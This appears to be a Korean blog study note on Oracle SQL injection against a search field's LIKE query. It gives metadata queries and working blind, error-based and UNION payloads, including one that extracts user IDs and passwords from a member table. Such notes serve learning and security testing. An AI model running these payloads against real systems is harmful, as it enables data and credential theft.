본문 바로가기

공부/웹해킹

[SQL] Oracle SQL Injection

// 버전 : select banner from v$version;
// DB 이름 : select global_name from global_name;
// 전체 테이블 : select table_name from all_tables;
// 현재 사용자 권한 부여된 테이블 : select tname from sys.tab where rownum=1;
// 컬럼명 : select * from all_tab_columns where table_name = '테이블명';
// 전체사용자 : SELECT DISTINCT owner FROM all_tables;
// 현재사용자 : select user from dual;

 

검색창 SQL 쿼리

select * from tbl_board where title like '%'||'${value}'||'%'

 

blind injection

// 제대로 불러오는지 참 값을 넣어 확인
aa' and ascii(substr('abc', 1, 1)) > 84;

// 테이블명
aa' and ascii(substr((select tname from sys.tab where rownum=1), 1, 1)) < 84 --

user00' or ascii(substr((select tname from (select rownum as rn, tname from sys.tab) a where a.rn=2), 1, 1)) = 84 --

select column_name from (select rownum as rn, column_name from all_tab_columns where table_name = 'TBL_MEMBER') a where a.rn=3;
// CASE 구문
select case when 1=1 then 1 else 2 end from dual; > 참, return 1
select case when 1=2 then 1 else 2 end from dual; > 거짓, return 2

 

error_based injection

ctxsys.drithsx.sn를 이용해 진행 = 해당 패키지는 에러가 나는 데이터를 화면에 출력한다.
utl_inaddr.get_host_address((select banner from v$version where rownum=1)) <> 1은 권한이 필요해서 안된다.

// username
aa' and ctxsys.drithsx.sn(1,(select user from dual)) <> 1--

// DB버전
aa' and ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1)) <> 1--

 

union injection

union을 이용할 경우엔 컬럼의 자료형이 맞아야 한다. 우선 모든 컬럼에 null을 집어넣고, 숫자와 문자형, 날짜 등 데이터 타입을 바꿔가면서 자료형 확인해간다.

// null을 이용해 컬럼의 자료형 맞추기
aa' UNION SELECT 1, null, null, null, null, null FROM tbl_member --
aa' UNION SELECT 1, '2', '3', '4', to_date('2019-10-16', 'YYYY-MM-DD'), to_date('2019-10-16', 'YYYY-MM-DD') FROM tbl_member --
aa' UNION SELECT 1, userid, userpw, '4', to_date('2019-10-16', 'YYYY-MM-DD'), to_date('2019-10-16', 'YYYY-MM-DD') FROM tbl_member --

// ||을 이용해 문자 합치기
aa' UNION SELECT 1, 'id:'||userid||' '||'pw:'||userpw,'3', '4', to_date('2019-10-16', 'YYYY-MM-DD'), to_date('2019-10-16', 'YYYY-MM-DD') FROM tbl_member;

 

 

*참고사이트

https://developpaper.com/summary-of-oracle-injection-foundation/
https://zulloper.tistory.com/9
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md

'공부 > 웹해킹' 카테고리의 다른 글

[CVE] CVE-2017-12617 실습  (0) 2019.11.17
XSS  (0) 2019.06.29
SQL Injection  (0) 2019.06.24
인코딩, 디코딩, 해시  (0) 2019.06.24